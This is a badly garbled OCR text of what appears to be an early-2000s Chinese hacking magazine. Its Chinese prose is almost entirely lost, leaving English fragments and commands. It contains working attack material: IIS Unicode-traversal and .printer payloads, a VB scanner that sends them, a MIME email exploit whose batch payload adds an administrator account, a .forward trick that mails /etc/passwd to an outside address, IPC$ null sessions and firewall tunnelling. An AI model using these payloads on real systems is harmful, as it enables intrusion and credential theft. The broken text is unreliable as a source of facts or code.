66.77.88.99 hax hax net use \\66.77.88.99\ipc
“ hax” Juser “ hax”
r jill
111.222.333.444 nc w | p 5432 iisx
66.77.88.990 r 111.222.33.444 5432 111.222.333.444 66.77.88.99
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Sunx  IISSHACK

Telnet
ID
Jill.c
.printer
1 Eyas Cgicheck
Eyas .printer
Scanprinter
Scanprinter
Cgicheck DOS
Twwwscan Cal

AMDB850 128MB 64K1SDN WIN98SE

E \>CGICHECK 192.168.0.1
203.212.4.18 has .printer mapped.
203.212.4.19 has .printer mapped.
203.212.4.227 has .printer mapped.

100 Wait 4 seconds to exit

203.212.4.237 has .printer mapped.
203.212.4.238 has .printer mapped.

All done.

Complete.Scan 254 targets use 15.8 seconds.Speed 16.1/s

Eyas
Cal
2 PL

Perl

.
Loading ...
PPk
Kl siangruan % 15AFL Prinier i
5 P R . ﬂ

PL Webexplt.pl ip IP
GET /NULL.printer HTTP/1.0\n

.printer

www.netguard.com.cn  www.xfocus.org Easyscan X scaner
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Printer

http  //www.microsoft.com/Downloads/Release.asp  Releasel D=29321

—

- - INTERNET - Badboy f5gzewyd
S - WWW - - - - printer -

FIRRIRIMIMESL
>
Kt

MIME  Multipurose Internet Mail Extension
MS01 020
OutL ook IE URL
htm eml

/badboy
MIME
1 MIME
Cal MIME Content type
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MIME Text Html Text/Plan  MIME  Multipurpose
Internet Mail Extension Intemet
Internet E mall Usenet Web
Internet
MIME
MIME
2 MIME
MIME
Html Plain GIF JPEG
MIME Text Html Image Gif Video/Quicktime Application Postscripto
MIME IANA Internet Assigned
Numbers Authority MIME X—
audio x noise from join application x httpd cgi NCSA
cal application x httpd cgi  x serverd parsed
htmlo
3 MIME Web
Web MIME
1 URL
2
3 MIME Gif Html Txt
4 Content type
5 Content type
MIME
Web
Content type
— Web
MIME
4MIME
MIME “ OpenFile”
URL HTTP
Content type
MIME
Web Content type
MIME
MIME
Juan Carlos Garcia Cuartango MIME

MIME Html Email
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MIME IE MIME
IE VIDEO CLIP IE IE
EXE IE MIME
IE
windows95\98\M E WinNT4 Win2000
Microsoft Internet Explorer 5.0
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Hello.eml
Hello.eml
ILoRANE .., L
0 ot =3
g A HIHpAr &
\._.:-_‘"-iiHH-I-L."!E‘J!-IHE,‘:ﬂIF.rEE!“:ﬁI.1:1:';.‘ Y 'Zi
"L_l'-.-l'—' - A
Hello.eml Outlook  MSDOS
DIR
DIR Windows\Temp
Hello.bat Hello 1 .bat Hello.eml Outlook
0 ATTO00004.txt Outlook Hello.bat
MIME Command cmd
1
Content Type audio/x wav
name="hello.bat”
Content Transfer Encoding  quoted printable
Content 1D <THE CID>
echo OFF
dir .
1
Hello.bat Dir . MIME
Command Cmd Dir
MS DOS
Win9x IE 50 501 55
MIME Email
Format Deletetree Move MS DOS WIinNT

Win2000
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Email
net user test 1234567 /add
net localgroup administrators test /add
MIME VBS
TT e
-;rl:ﬂ:"f_‘_?lﬁ_rl ; J e L
‘? i B =
5 FEEbwiangguant &
| e B B A IMIME A I S5 I0E 002 axe ‘. Y 'Zﬂ
s il r Y
Emi Vbs.eml
VB Script c \ Deleteme.txt
Att00002.txt 0 Vbs.eml
VBS
MIME
5 8 VBS.happytime 10
MIME
MIME
.EXE
Exe.eml
Content Transfer Encoding  base64
Content 1D <THE CID>
BASE64
Exe.eml
hello.exe
IE5.0 IE5.01 IE55
MIME EXE
BASE64
Foxmail BASE64
Foxmail BASE64

EXE BASEG4
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1 Outlook Foxmail MIME
MIME Email

2 Html Web
URL
MIME
3
Oeexample
4 MIME
5 MIME

MIME

1 IE  Outlook /Outlook Express Email
Netscape Netants Wget IE Foxmail Outlook
Windows
Update Windows |E Outlook/Outlook Express

http  //www.microsoft.com/windows/ie/downl oad/critical/Q290108/default.asp
2 URL

/
NT Unix

UNIX asroot
asroot
/tuc/bin/asroot/command  args

command asroot
args command rm
args
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asroot
1.root [tcb/files/rootcmds/
2.root
shutdown
3. execsuid
Root
Root
1. [tubffiles/rootcmds shutdown
2.
3. lect/auth/system/authorize Root

Winsocki& {4
W P

cCC VB
Winsock
VB CGl
/
TCP  Transfer Control Protocol
IP Remote Host
“ ” Remote Port Connect
Local Port Listen
Connection Request
Connection Request Accept
Send Data
DataArrival DataArrival Get Data
Winsock
cgi Winsock Winsock

VB
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Winsock

LocalHostName |
LocalP| IP
LocaPort |

0< <65536
RemoteHost |
RemotePort |
state |

Protocal |

TCP UDP

Close|
Connect |

ConnectRequest |
DataArrival |

Error |
SendProgress |

Listen
Listen

Winsock
Connect
Connect

Winsock

Accept
Accept
Winsock

Senddata

Winsock
Getdata

Winsock

Close

Winsock

listen

.connect

.accept Request 1D

.senddata

.getdata

.close

Winsock

state

sckClosed O

SckOpen 1

SckListening 2
sckConnectionPending 3
sckResolvingHost 4
sckHostResolved 5
sckConnecting 6
sckConnected 7
sckClosing 8

sckError 9

1 Winsock

Private Sub Form_Load
Msgbox str ~ Winsock1.LocallP '
With Winsock1
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.LocalPort = 32555

.RemoteHost = “ 127.0.0.1" ' IP
.RemotePort = 80" 80 HTTP
.Connect
Endwith
End Sub
Winsock
CaGl
Winsock HTTP GET
“ HTTP 404"
DataArrival
HTTP 404 Unicode

GET /scripts/.. ¢0 af.. cO af.. cO af.. cO0 af../winnt/system32/cmd.exe /c dir c
WHTTP/1.0
GET /msadc/.. cO af.. cO af.. cO0 af./winnt/sysem32/cmd.exe /c dir ¢\
HTTP/1.0
GET / vti_hin/.. cO af.. c0 af.. cO0 o ./winnt/system32/cmd.exe /c dir ¢ \\
HTTP/1.0
GET /_mem bin/.. cO af.. cO af.. c0 af./winnt/syssem32/cmd.exe /c dir ¢ \\
HTTP/1.0
GET /cgi bin/.. cO a.. cO af.. c0 af./winnt/system32/cmd.exe /c dir ¢\
HTTP/1.0

1
Winsock Winsock
2
Winsock
Load Winsock n Winsock
CaGl n HTTP DataArrival
Index
DIM CGlI as String
CGl 1 =" Get.
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For 1=1t0 20
Load Winsock |
Winsock | .Remote....
Winsock | .Connect
Next |

Private Sub Winsockl DataArrival ByVal bytesTotal AsLong  Index as Integer

Msgbox “ 8 CGl  index
End Sub

Load Winsock | 1 20 1

20 Cal Eastscaner
Winsock

Private Sub Form_Load

Dim CGlI as String

‘ Cal

CGl 1 =" GET/scriptd.. cO af.. c0 af.. cO af.. cO af../winnt/system32/cmd.exe
fc dir ¢ \HTTP/10

CGl 2 =" GET /msadc/.. c0 af.. cO af.. cO of./winnt/system32/cmd.exe /c dir

¢ \HTTPA1.0
CGl 3 £ GET/.vti_bin/.. c0 af.. cO af.. cO &f./winnt/system32/cmd.exe /c dir
¢ W\HTTPA.0"

CGl 4 =" GET / mem_ hin/.. cO af.. cO af.. c0O af./winnt/system32/cmd.exe /c
dir ¢ W\HTTP/1.0"
CGl 5 =" GET /cgi bin/.. cO af.. cO af.. cO af./winnt/system32/cmd.exe /c

dir ¢ WHTTP/1.0

Winsockl

With Winsock1
.RemoteHost= “ 127.0.0.1" ' IP
.RemotePort =80
End With
Forl=1to5

I F winsock1.state=0 then Winsock1.Connect

Do while Winsockl.State<>7

Doevents

Loop
'‘Winsock
Winsock.senddata CGlI I VbCrLf ' GET
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Next |
End Sub

Private Sub Winsockl DataArrival ByVal bytesTotal As Long
Dim strDataAs String

Winsockl.GetData strData
Ifinstr 1 strData “ HTTP 404" =0 then Msgbox “ Unicode
HTTP404
End Sub
Winsock
Cal Text COMMAND

XXX

UDP 4000
UDP QQ

4000 4000 4001
QQ UDP 4000 4010 QQ

4011

Loading ...

e T

Kl hangouan ) ; ‘
selie KRS RO RO GITE L x ' \

IP
QQ
QQ
4000
QQ 4000
QQ
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UDP
SOCKET IRC
QQ
TCP80 IRC
QQ IRC
TCP
80 80  Socket DIY Dolt
Yourself
Socket 5 Socket
“ i “ ” IP  202.202.202.202 “ ”
TCPAgent.exe TCP80
80 IS IS
IRC Cjcbot2000 HIRC
IRC 202.202.202.202 80 TCPAgent
IRC Socket IRC
202.109.72.40 TCP 6667 IP irc.sunnetorg IP
HIRC<====> <====>|RC Server HIRC “ " “
" “ " HIRC
Loading ...
PP £
Kl langoaan
et BRI RS R 2 e . 1
TCP80 TCP
TCP UDPSOCKET
QQ UDP
QQ TCP

TCP  UDP Socket
SuperAgent

E \>SuperAgent.exe
SuperAgent use for TCP and UDP Socket data redirdPower by ey4s<ey4s@21cn.com>
http  //eyas.3322.net
2001/6/7
usage  SuperAgent.exe <mode>
mode
t <TargetlP> <TargetT CPPort> <L ocal UDPPort>
u <Targetl P> <TargetUDPPort> <L ocal UDPPort> <L ocal TCPPort>
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1 t 3 IP TCP
UDP

2 u 4 IP UDP

UDP TCP
QQ IP
202. 202.202.202 IP 101.101.101.101 IP
192.168.0.81 QQ IP  202.104.129.253 UDP8000
SuperAgent

E \>SuperAgent u202.104.129.253 8000 4000 1234
OK  Work modeis u
Listen TCP127.0.0.1 1234 ok

OK  SuperAgent working now
Wait for ey4s connect to me......

SuperAgent

E \>SuperAgent.exe t202.202.202.202 1234 8000
OK  Work modeis t

OK  SuperAgent working now
Bind UDP port 8000 ok.
Wait for UDP Socket have data to be recv.

QQ 127.0.0.1 8000
UDP QQ QQ
1 SuperAgen.exet TCP 1234
SuperAgent.exe
2 SuperAgent.exe UDP 8000 QQ
QQ
3 QQ QQ Server 127.0.0.1 8000
4 SuperAgent.exe QQ UDP TCP
1234
5 SuperAgent  UDP TCP Socket
6 TCP UDP Socket QQ Server
7 QQ Server TCP Socket TCP
Socket
8 TCP Socket TCP Socket UDP Socket
QQ
9 5 8
TCP UDP
TCP UDP TCP UDP
TCP UDP ICMP ICMP

SuperAgent
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E \>SuperAgent.exe u202.202.202.202 5000 6000 6667
OK  Work modeis u
Listen TCP127.0.0.1 6667 ok

OK  SuperAgent working now
Wait for ey4s connect to me......

202.202.202.202 IP 5000 UDP 6000
UDP 6667 TCP
HIRC 6667

E \>SuperAgent.exe t202.109.72.40 6667 5000
OK  Work modeis t
OK  SuperAgent working now
Bind UDP port 5000 ok.
Wait for UDP Socket have data to be recv.

202.109.72.40 irc.sunnet.org IP 6667 TCP IRC
5000 UDP
HIRC 127.0.0.1 6667
1 SuperAgent TCP 6667 HIRC
2 SuperAgent UDP 5000 SuperAgent
3 HIRC IRC Server  TCP6667
4 SuperAgent HIRC TCP UDP Socket
UDP Socket
5 UDP Socket IRC Server
TCP TCP socket IRC server
6 IRC Server TCP UDP Socket UDP
7 UDP TCP socket HIRC
8 4 7 5 IRC Server TCP

TCP  UDP Socket

A
(3s Lds

Firewall 202222 80 202.2.2.2TCP
UDP 202222 IS 80



2001

TermService FW
TermService Admin FW TCP
UDP  TCP Socket

192.168.0.2

E \>SuperAgent.exe u202.2.2.2 5000 6000 3389
OK  Work modeis u
Listen TCP127.0.0.1 3389 ok
OK  SuperAgent working now
Wait for ey4s connect to me......

202.2.2.2 IP 5000 IP UDP 6000 UDP 3389
TCP TermService 80 SuperAgent.exe
t 127.0.0.1 3389 5000
1 TCP 3389 TermClient
2 UDP 5000 UDP
3 TermClient 3389
4 SuperAgent TermClient TCP UDP Socket
UDP
5 UDP Socket TCP 3389 TermService
6 UDP TCP Socket TermSerivice
7 TermService TCP UDP Socket UDP
8 UDP Socket UDP TCP Socket
TermClient
9 4 6 7 8
TermClient 3389
SuperAgent C

Loading ...

FERIELR T
Kl xlangoaan,
el RS RGPS ’ \

VC 6.0 Windows2k http //eyas.3322.net
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L ICGIEL T
AR

leyas
Web Server TCP/IP
TCP80 80 Cal
Cal
80 Cal
Cal 4
1. WEB SERVER
2.
3.
4. Cal
Cal
Cal
C Cal
http  //eyas.3322.net/program/cgic
heck.exe
Module  CGICheck.cpp
Console Ccal SzSign
SendBuff Cal
Admins

Loading ...

i et g

B b s G A4 AR . |

AR T {L# H \

VC 6.0 Windows2000

m VE zesewrssauzll 12 | nes

/
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IP
IP IP IP
SuperScan IP
7626
TCP  Connect
IP DIY
VB IP
80 VB
Connect TCP
IP IP
Winsock winsock
RemoteHostIP L ocalPort
IP
MSDN
1
2 Winsockl
Listen
3 RemotelP  LocalPort
4 Winsock2 Getdata
5  Winsock2
Labell Label Caption="
Commandl command Caption=" "
Command2 command Caption=" "
Command3 Command Caption=" "
Listports Listbox
TxtLog Richtextbox
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Loading f
Q. fEo. : =
4 FEEEsiampan  EVBREEF TS &
| e 30 00 0 0 ) M P4 ot ';“ §
L R il .
CaGl VB  Winsock C Socket

Cookie VB

indows 2000 1Y
' ACHBRE SR PERRAE

Windows
MS Bug
Windows
Windows 2000
Windows 2000 Sp2
Administrator
Bug
Windows 2000 Windows
10 5
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2.
Windows 2000 1/2
Delete
CMD
Bug
olCcQ
1 OICQ.exe
2 ws2_32.dll
3 oICQ
100
olcQ Winsock API API
winsock.dll  ws2 32.dll Window
Winnt System32 System
ws2_32.dl ¢ " 0olCQ
DLL
DLL
QQ 0
QQ QQ
QQ uUDP
Windows 2000
ICMP

ﬁﬁﬁnﬁ@?ﬁﬁﬁ!ﬁ

Crazybird

/Crazyhird

Ixt
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HTML
HTML txt txt
“ WELL KNOW”
JavaScript
JPG JPG
“ IEtitle”
IE Web
IE Web TXT
Web
TXT JPG
TXT
Internet
JS TXT
txt JPG
Mail
IE
\xiangguan\M S .htm
1 MS

NotePad
.html IE

BBS

JPG

Web

IE  Internet Explorer

txt HTML

JAVASCRIPT

HTML
IE

.html
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Internet IE HTML html javascript
txt
JS crazybird.51.net /look.txt
.aaa crazybird.51.net/look.aza
txt crazybird.51.net /test.txt
htm/ - html
JS
MIME html xt
Crazybird
21/07/01
Hi
Ixt IE
Scott
22/07/01
2.
Hi
Axt .Jjpeg /.png
HTML
WORD IE IE6
Jpeg/.png/.txt
7 21 htm/.html
JS  JavaScript VBS VBScript
HappyTime HTML
JS “ HTML " http  //crazybird.51.net/look.htm
Crazybird
22/07/01
Hi
IE html html
html Ixt IE
.html
IE Ixt
.htm
xt IE
IE xt IE

Ixt

IE Jxt
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Regards
Scott
22/07/01

COOKIE

IE

Bye
I'm Chinese

Crazybird
22/07/01

Hi

Scott
23/07/01

VBS

.htm.exe.vbs

HTML

VBS

txt

WEB

.htm

HTML

WEB

Ixt

MS

IE WEB

Ixt

JS VBS

Ixt
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Crazybird
24/07/01
Hi
html Ixt IE
Ixt IE
IE
Jpg IE
html
Scott
24/07/01
5
JPG
Jpg

http  //member.netease.com/  zds/ie_bug.jpg

IE Jpg
Q- jme: ; | =
4 FEERwlangguan' ST THE R-<TiEE & |
| T PRI TG e ".' |~
Y — e
J3S JPG IE title
Crazybird
25/7/01
Hi
ActiveX
javascript
javascript

IE Javascript

html
Xt
IE
Jpg

“ 1E Windows title”

“ |Etitle”
“ I'am Chinese "

javascript web

Microsoft
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Scott
25/7/01

7.26
Hi

IE Jpg
IE

ipg
ipg

ipg

Scott
26/7/01
“ Asaresult  webelievethat there is not a security vulnerability.”

GOOD
SCOTT

crazybird
26/7/01
2001.7.26 www. securityfocus.com  BUGtrag

Microsoft Security Response Center  BUGtrag
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Hi All

javascript 2000 10
Microsoft Security Bulletin MS00 075
http  //lwww.microsoft.com/technet/security/bulletin/MS00 075.asp

Xt .jpg IE
ixt  jpg
IE AIxt
15
15
email
Scott Culp
Security Program Manager
Microsoft Security Response Center
1
format.com deltree.exe format.com format_0.com
2 13 ”
3 http  //crazybird.51.net/look.htm
.htm
Activex” ActiveX
4
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ﬁﬁﬁ%“ﬁﬁ” O

“ " Crazybird
Crazybird
IE HTML/JavaScript
Internet Explorer 3W
World Wide Web
IE 3W Hypertext
Internet Explorer  Netscape
HTML Hypertext Markup Language
<>
vs< >
VS
HTML
IE HTML
3w
16 10
HTML
HTML
HTML HTML HTML/  HTM
HTML NOTEPAD

IE 3w
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IE HTML
IE HTML/JavaScript
Crazybird
IE
Crazybird
http  //member.netease.com/  zds/ie_bug.jpg
crazybird.51.net/look.aaa
crazybird.51.net/look.txt
crazybird.51.net/test.txt
http  //crazybird.51.net/look.htm http  //member.netease.com/  zds/ie_bug.jpg
http  //member.netease.com/  zds/ie bug. jpg http  //member.netease.com/
zds/ie_ bug.jpg
ActiveX IE
IE HTML/JavaScript
JPG MAIL IE JPG
IE
ActiveX
IE IE
PING DOWN PING
IE HTML/JavaScript
IE
HTML
HTML
IE HTML 3w
JPG
IE JPG

JPG
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SR ILIRM L
“BARAR”

ICQ

ICQ

1.1CQ
ICQ
ICQ IP
ICQ
ICQ IP
ICQ ICQ
2.E  Mail
Web
ICQ ICQ'

Outlook Express
AvirMail
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E Mail

4,
24
IP
5.
MIS

ICQ
ICQ
1. ICQ

Q

IP
1. ICQ

“ Preferences’
2. ICQ
113 Ger]a.alﬂ
3.
Connection”
4, “ Ignore”

“ Ignore”
5.
ICQ
6.
7. {3 ”
1] Applyﬂ

SSL

E Mail
SET
ICQ
ICQ
Windows
2.
4, ICQ
113 I CQ”

“ Security Privacy”

“ My authorization is required before users add me to their Contact List”

“ Direct

“ Allow Direct Connection with any user upon your authorization ”

“ AddTo Ignore List”
ICQ

“1cQ

“ OK ”
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E Mail
1 AV

2.

3.

4,

ICQ

1. ICQ

ICQ “ services’ “ Email” “ Check Incoming Email”
2. “ Pop3 1.0” “ ADD”

“ Pop3 1.0
3.
141 143 “ Apply”
E Mail me@166.chome. com “ me”
“ 166.chome.com’
4,
“ Preview ”

5. “ Delete”
6. Outlook Express

“ Closg’

ICQ Avirmail ICQ
http
[lwww.avirmail.com/ 2.37MB Windows 95/98/Me/NT/2000
Foxmail
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Windows Gates

Windows98 “ "

Files\Accessories\Backup
Window2k Win2k

map mea BN AT Hees
wE B O | aEeE|
E#tﬂl.ﬂﬂllm TR
EEEL T

Windows

C \Program

=K

= BER e
b TREA e — cEemE
; PLEEY
# Oar #H -]

Ell|‘.'£'I—_| ﬁ;ﬂﬂ.m

FRERETYE L
== |

Win2k

Windows Me 2000 10

Norton Ghost

B D T

& B NRGENE R |
- EERIE s
S LT

10
24

Win Me Win9x

24
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3
T
E-! A 5

R o

I

EEET B

3
113 ” /H ” /H ” 13 ”
Windows
Norton Ghost 2001 Drive Image Pro
30GB
15GB 15GB
“ format ¢ /U fdisk
AWARD BIOS
BIOS
BIOS
AWARD BIOS Award BIOS CBROM
logo Gigabyte @BIOS
Windows BIOS 4 BIOS mybios.bin
BIOS jiebo.bin
[kt st v o =

L e
Mmh Beewy [0 ORI BT 1 07
Tk Sy 0 Biln WOORWITTTD

IEZ Waddel
Termisn i 1T

I Tomimies, Bt Brlite b HE
s P —

r Sl i e

CBROM BIOS “ K
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BIOS jiebo.bin
CBROM jiebo.bin /d
ISA ROM 1 09800h 38.00K 092C8h 36.70K

STDE.DAT STDE.DAT
CBROM jiebo.bin/isa extract
STDE.DAT
STDE.DAT BIOS
CBROM mybiosbin /isa stdedat
BIOS 40k CBROM
mybios.bin /d Remain compress code space = 25865h  150.10K
BIOS 40k
Gigabyte @BIOS Update New BIOS
mybios.bin 5
E_: [Sem aET =g
5

“ pressCtrl R to enter Recovery Genius’
“ Ctrl R windows 2000
download

COD R CD RwW Z1P

CMOS FDISK

FinalData
FinalData IT
FinalData Linux UNIX SUN Solaris
IBM AIX Hp HP UNIX FinaData
finaldata for win98 1



2001

1
Fina Data 5
[ - |

Enpe

E:h,  Nlaedes war M hid

TERE

EXEF 16

EXEM 1155

2
FinalData TCP/IP
3
P e S - |

'lu.n.m'lml
Sl :
fe e
I:H#
Frdam

|

3
FinalData
Low Format
Windows
FinalData
Find Format
DOS
Windows Windows
Final Data

“ Sector 0 is not read”
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EasyRecovery 5.0 for NTFS
win2k NTFS
EasyRecovery 5.0 for NTFS
EasyRecovery 5.0 for NTFS 4

IBM 2

EasyRecovery 5.0 for NTFS FAT 12 FAT 16 FAT 32 NTFS
UnKnown NTFS

Next
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6
El::q::l": alziEy
I,f'"_'__..._ ————— o N
=T ) —— =P
pame fo== -
:.-..W T B | agynmrary
o Heie O Bach () text Q) Canwald
7
c
nt 2k EasyRecovery 5.0 for NTFS
EasyRecovery 5.0 for NTFS NTFS
Revival  RecoverNT
Revival R4A
WINO95/98/NT4.0 FAT FAT32
NTFS
RecoverNT WINO5/98/NT
Format  Fdisk Recover NT TCP/IP
Revival RecoverNT RecoverNT
RecoverNT Open Select Drive
RecoverNT Basic Root Dir
Searched Root Dir Garbage Dir Total Dir
All Files NTFS
RecoverNT R4A
RecoverNT

Original Root Directory
Normal Directory
Garbage Root Directory
Garbage Directory

A W DN PP

)]

Renamed Garbage Directory
Analyzed Garbage Directory

o

7 File
8 Error File



2001

9 Warning File
10 Deleted File
11 RecovableFile
12 Saved File

View as Hex 16 View as Text
32768 Save

Tiramisu Norton Utilities diskman

= v i

/ Holey Project

Apache
s Red Hat Linux Apache 1.3.9 Windows NT 4.0 11S4.0
SSL  enabled

URL

s
s MDAC
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06 45 2510.0.2.79 GET /msadc/ 302
msadc
root@localhost /root

GET /msadc HTTP/1.0

nc n10.0.2.5580

msadc
61 64 63 Windows Charmap
HTTP
root@l ocalhost nc n10.0.2.5580
GET/ 6D 73 61 64 63HTTP/1.0
s
07

10 3910.0.2.31 GET /msadc/ 302

root@l ocalhost nc n10.0.0.280
HEAD /cgi bin/test cgi HTTP/1.0
root@l ocalhost nc n10.0.0.280
HEAD/ 63 67 69 bin/test
access log
10.10.10.10 18/Oct/2000
HTTP/1.0”
10.10.10.10

bin/test

08 22
2000

18/Oct/2000
63 67 69HTTP/1.0"

200

08
2000

23

ASCII
ASCII 6D 73

ASCIl to hex

Apache
Cal

63 67 69HTTP/1.0

47 0700 “ HEAD /cgi bin/test cgi

47 0700 *“ HEAD / 63 67 69

URLs

Proxys 4
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IP “ ”
root@10.1.1.1/ nc v10.8.8.880
HEAD /HTTP/1.0
10.1.1.1 18/Oct/2000 03 31 58 0700 “ HEAD/HTTP/1.0" 2000

root@10.1.1.1/ nc v 216.234.161.83 8OHEAD http  //10.8.8.8/ HTTF/1.0

216.234.161.83 18/Oct/2000 03 39 29 0700 “ HEAD/HTTP/1.1" 200
0
IP 216.234.161.83  proxy.proxyspace.com IP 10.1.1.1
IP
IP
Windows
SocksChain
SSL
SSL  enabled 80 HTTP 443
HTTPS 443
443
URL
SSL 13 ”

CGl

CGl
Cal
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1 Cal
Cal Cal Perl CGI
CGlI  Common Gateway Interface
Cal Perl Php C VC
Cal
2 Cal
Cal Web Cal
Cal Cal
Cal Cal
ASP JSP Cal Web Php
Perl Cal Cal
3 Cal
Cal Cal
Web Cal
Web Web BUG
Cal
Cal Cal
Securityfocus CGl
Cal Cal
Cal
“ XX "
C Cal
Session userid Cookie
DoS
Cal
“ o
« om “ope
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CaGl
Cookie CGl
CaGl
“ bak” Cal
Cal
CaGl
Perl “ die” “\n”
" 1 OH
4 CaGl
CaGl CaGl
Web
Cal
C CaGl

“ "\ <> Wnirit\o L
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PC
/sinbad
BBS post
CMOSs
System Commander SC SC
SC MBR Master Boot Record 0
SC SC
SC Win98
Linux root Linux
SC “ OIS Access Menu”
Win98 Linux
AutoLogin Linux “ O/SAccess Menu”
Win98 Linux Administrator
SC 0 O MBR 6
C Syscmndr.sys
OS2  Boot Manager
3 4 6 P 5
Debug f 0 MBR DOS “ FDISK/MBR” MBR
SC O Debug DOS
MBR
INT 19H MBR 0 7CO0H
MBR 206
MBR
C \>debug
a
1369 0100 movax 201
1369 0103movex 1
1369 0106 movdx 80
1369 0109 mov bx 200
1369 0l10Cint 13
1369 Ol1O0Eint 20
1369 0110
g

Program terminated normally
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d200
MBR

u218
136A

a218
136A

a2el
136A
136A
136A
136A
136A
136A
136A

2e0

512 d 4 00
u jmp jmp
jmp

MBR
DOS MBR

0218 EA1DO60000JMP 0000 061D

0218 CALL 0000 06EOQ

02EOMOVAH O

02E2 INT 16
02E4 CMPAH 24
02E7 JE 02EB
02E9 IMP 02E9
02EB RET
02EC
INT 13H MBR
Win95/98 MBR 206
Win95/98 DOS MBR
DOS “
” MBR 0 2
DOS
FAT FileAllocation Table RDT Root Directory Table
Win98
Wing5 007
Partition Magic
Partition Magic
MBR D
8 8 100M 800M
wind8 MBR

Win98 E
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MBR 1BEH 1FDH 64 4

16
0 80h 00h
1
2 3

0B Win95FAT32 06 DOS
FAT16 05 DOS

5
6 7
8 B
C F

DOS 05

000041 31053FFFFD CO0C31200C01C2C00

2 3 3141H INT 13H
152 154 MBR
1BEH 1DDH

0001 41 31 0B 3F BF 61 3F 00 00 00 81 C3 12 00
00 00 81 62 05 3F FF FD C0O C3 12 00 00 59 19 00

6281H

00018162 0B 3F FFFD 3F 000000 C158 1900

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

2 FAT32
DOS 8
8 DOS
DOS
Partition Magic 4 1B
1B DOS
00 FF

Partition Magic
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PING IP

IP

/
IP

IP
TCPScan UDPScan
1.TCPScan
2 UDPScan TCPScan TCPScan
Windows Superscan Aatools

Superscan Aatools Superscan

Linux Nmap Nmap GNU Generd Public
License  GPL Ping Ping Sweeping

Port Scanning Stedlth Scanning  UDP UDP Scanning
OS Fingerprinting Ident Ident Scanning

WWW.insecure.org/nmap

Telnet  23/tcp
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FTP
Ftp  21/Tcp Telnet “ ”
Root Guest
Root
Finger  79/Tcp
ID
IP
.com.cn
Windows98 PING Ping
Packet InerNet Groper IP IP
IP
MSDOS  Windows “ ping
.com” Ping IP
.com Sohu “ ping”
www.sohu.com 1
1
Ping IP 61.135.134.4 Ping IP
www.name.com |IP 100.100.100.100
13 ” IP
37337
Suid  Shell Shell
Root 37337 3 7
Root 37337 37337
MSDOS Windows
C ‘>nc . 37337
NC Netcat
Telnet

Netcat
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IP 37337
Linux “ "
Namp Unix/Linux
Namp
Linux Windows98
Jnmap sT  0100.100.100.100
sT 0 Namp help

Namp

Starting nmap V. 2.3BETA12 by Fyodor  fyodor@dhp.com  www.insecure.org/nmap/ <http
/lwww.insecure.org/nmap/>

Interesting ports on www.name.com  100.100.100.100

Port State Protocol Service

7 opentcp echo

9 open tcp discard
19 open tcp chargen
21 open tcp ftp

23 open tcp telnet
25 open tcp smtp

37 open tcp time

79 open tcp finger
80 open tcp http

111 open tcp sunrpc
443 open tcp https
512 open tcp exec
513 open tcp login
514 open tcp shell
515 open tcp printer
540 open tcp uucp
3306 open tcp mysql
4045 open tcp lockd

TCP Sequence Prediction  Class=random positive increments
Difficulty=55346  Worthy challenge
No OS matchesfor host  If you know what OSis running on it

Nmap run completed llPaddress 1lhostup  scannedin 17 seconds

finger sunrpc..
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ftp telnet http shell  rsh login  rlogin smtp exec  rexec
Finger
Linux Linux
finger root@name <mailto  root@name>

finger root@name

name
Login Name TTY Idle When Where
root Super UserconsolelFril0 03 O
root Super Userptg66 Fri 11 08 192.168.0.14 root Super User ptg/7 Fri 12 11dc
root Super Userpt81Fril0 34 0.0
root Super Userptgl4Fril2 15 0.0
root Super Userptg113 16Fri09 46 192.168.0.18
root Super User ptg/10 Fri 07 08 192.168.0.11
root Super User ptg/12 Fri 09 40 192.168.0.15
root Super User ptg/4 Fri 08 46 192.168.0.17
root Super Userptg134Fril0 26 0.0
root Super Userptg191Fril3 51 0.0

rpcinfo p  name.com
program vers proto port service
100000 4 tcp 111 portmappedr
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper

Rpc Inetd Linux /etcl/inetd.conf

rexd/1 tli rpc/tcp wait root /usr/shin/rpc.rexd rpc.rexd
Rpc Killal  HUPinetd
Rpc MS DOS Ftp

¢ > ftpname.com
Connected to name.com
220 cc FTPserver  Versonwu 24 1 Frim May 1221 15 23 CST 1997

ready.
Name  name.com anonymous
331 Guest loginok  send your completee mail address as password.
Password
Superman aa@
Pwd

“cd.”
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ftp> pwd
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.

drwxr xr x 7 512 Oct 16 1997..
drwxr xr x 7 512 Oct 16 1997 ..
Drwxr  xr
X wu 2.4 anonymous
/etcpasswd forward
ftp> bye
goodbye
echo “ |/bin/mail superman@name.com < /etc/passwd” >good .forward
Echo OK Good Www.hame.com
Ftp
ftp> put good .forward
200 PORT command successful.
226 Transfer complete
ftp> bye
goodbye
/etc/passwd
Root /ect/passwd
—_— ID
Passwd
IP
TCPScan IP
Logs
IP IP Shell

Ftp
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NetBIOS
MNRED

NetBIOS
NetBI0S
NetBI0S
/
NetBIOS
“ " NetBIOS Network
Basic Input/Output System API 1983 Sytek
1BM NetBI0S
oo 1985 1BM NetBIOS NetBIOS Extended
User Interface NetBEUI NetBI0S
NetBIOS TCP/IP  IPX/SPX
NetBIOS NetBIOS
WindowsNT ~ Windows2000 Windows95  Windows98
NetBIOS Windows NT4.0
NetBIOS WINS Lmhost
NetBIOS IP
NetBIOS Windows CE NetBIOS
API TCP/IP NetBIOS
TCP/IP NetBIOS Windows
NetBIOS
IP —_—
Windows nbtstat
Win9x
pwl
NT C2 C2 NT
NetBIOS IPC
IPC NT
NT

NT
IPC
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c \>net use\\ IP \ipc ""/user
“ ” legion 2.1 shed
Il SMBScanner 139 139 “ NetBIOS session”
NetBIOS 139
139 IP
WIN98 1
30
NetBIOS
NetBIOS legion2.1
NetBIOS
Legion Rhino9 WIN9X Hack
Legion .ZIP legion.exe
173K 2.1 legion.exe 1
T —
EEﬁ: - "LLE{h{;h v |
- — s T
~ AN T@EE W R mane T
= | |
|
[ aka | rera)
1
Legion
“ 8 2
el
- [AEEE
r HENE
2
“ 8 IP Legionv2.1 64 C IP
“ " IP IP
IP “ 8
IP “ ADD" IP IP
IP IP
“ 28.8K 56K 8 3
56K
! " 56K 28_8K 28.8K
28._8K “ "
56K
HaE

i~ B = Ak Bk W
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3. Legion

L I P'I'I
61.159.83.255

IP
\\123.123.123.123\d
1P
G

4
Legionv2.1

C 192 223 B 128

56K “ 28.8K”

“ 1P’ IP 61.159.83.1

I
L

Legion
